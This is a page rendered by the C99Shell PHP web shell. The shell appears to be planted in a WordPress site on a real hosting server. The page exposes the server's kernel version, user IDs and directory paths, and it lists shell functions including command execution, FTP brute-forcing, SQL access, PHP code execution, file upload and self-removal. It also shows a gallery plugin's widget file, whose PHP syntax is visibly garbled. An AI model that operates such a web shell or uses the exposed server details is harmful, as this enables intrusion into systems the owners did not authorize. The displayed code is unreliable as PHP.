!C99Shell v.2.1 [PHP 7 Update] [1.12.2019]!

Software: Apache. PHP/5.6.40-67+ubuntu20.04.1+deb.sury.org+1 

uname -a: Linux hosting1.erectacloud.it 5.4.0-182-generic #202-Ubuntu SMP Fri Apr 26 12:29:36 UTC
2024 x86_64
 

uid=5229(web473) gid=5117(client172) groups=5117(client172),5002(sshusers) 

Safe-mode: OFF (not secure)

/var/www/clients/client172/web473/web/OLD_WP/wp-content/plugins/gallery-images/includes/   drwxr-xr-x
Free 180.42 GB of 490.84 GB (36.76%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     class-gallery-img-huge-it-gallery-widget.php (2.68 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
if ( ! defined'ABSPATH' ) ) {
    exit; 
// Exit if accessed directly
}
/**
 * Class Gallery_Img_Widget
 */
class Gallery_Img_Widget extends WP_Widget {

    
/**
     * Gallery_Img_Widget constructor.
     */
    
public function __construct() {
        
parent::__construct(
            
'Gallery_Img_Widget',
            
'Huge IT Gallery',
            array( 
'description' => __'Huge IT Gallery''Huge IT Gallery' ), )
        );
    }

    
/**
     * Print out the Widget by calling shortcode
     * @param array $args
     * @param array $instance
     */
    
public function widget$args$instance ) {
        if ( isset( 
$instance['gallery_id'] ) ) {
            
$gallery_id $instance['gallery_id'];

            
$title apply_filters'widget_title'$instance['title'] );

            echo 
$args['before_widget'];
            if ( ! empty( 
$title ) ) {
                echo 
$args['before_title'] . $title .$args['after_title'];
            }

            echo 
do_shortcode"[huge_it_gallery id={$gallery_id}]" );
            echo 
$args['after_widget'];
        }
    }

    
/**
     * Update options
     * @param array $new_instance
     * @param array $old_instance
     *
     * @return array
     */
    
public function update$new_instance$old_instance ) {
        
$instance                 = array();
        
$instance['gallery_id'] = strip_tags$new_instance['gallery_id'] );
        
$instance['title']        = strip_tags$new_instance['title'] );

        return 
$instance;
    }

    
/**
     * Print out the widget's form HTML
     * @param array $instance
     */
    
public function form$instance ) {
        
$selected_gallery 0;
        
$title              "";
        if ( isset( 
$instance['title'] ) ) {
            
$title $instance['title'];
        }
        if (isset(
$instance['gallery_id'])) {
            
$selected_gallery $instance['gallery_id'];
        }

        
?>
        <p>
            <p>
                <label for="<?php echo $this->get_field_id'title' ); ?>"><?php _e'Title:' ); ?></label>
                <input class="widefat" id="<?php echo $this->get_field_id'title' ); ?>"
                       name="<?php echo $this->get_field_name'title' ); ?>" type="text"
                       value="<?php echo esc_attr$title ); ?>"/>
            </p>
            <label
                for="<?php echo $this->get_field_id'gallery_id' ); ?>"><?php _e'Select gallery:''huge_it_gallery' ); ?></label>
            <select id="<?php echo $this->get_field_id'gallery_id' ); ?>"
                    name="<?php echo $this->get_field_name'gallery_id' ); ?>">
                <?php
                
global $wpdb;
                
$query     "SELECT * FROM " $wpdb->prefix "huge_itgallery_gallerys ";
                
$rowwidget $wpdb->get_results$query );
                foreach ( 
$rowwidget as $rowwidgetecho ) { ?>
                    <option <?php selected$selected_gallery$rowwidgetecho->idtrue); ?> value="<?php echo $rowwidgetecho->id?>"><?php echo $rowwidgetecho->name?></option>
                <?php ?>
            </select>
        </p>
        <?php
    
}
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v.2.1 [PHP 7 Update] [1.12.2019] maintained by KaizenLouie and updated by cermmik | C99Shell Github (MySQL update) | Generation time: 0.0083 ]--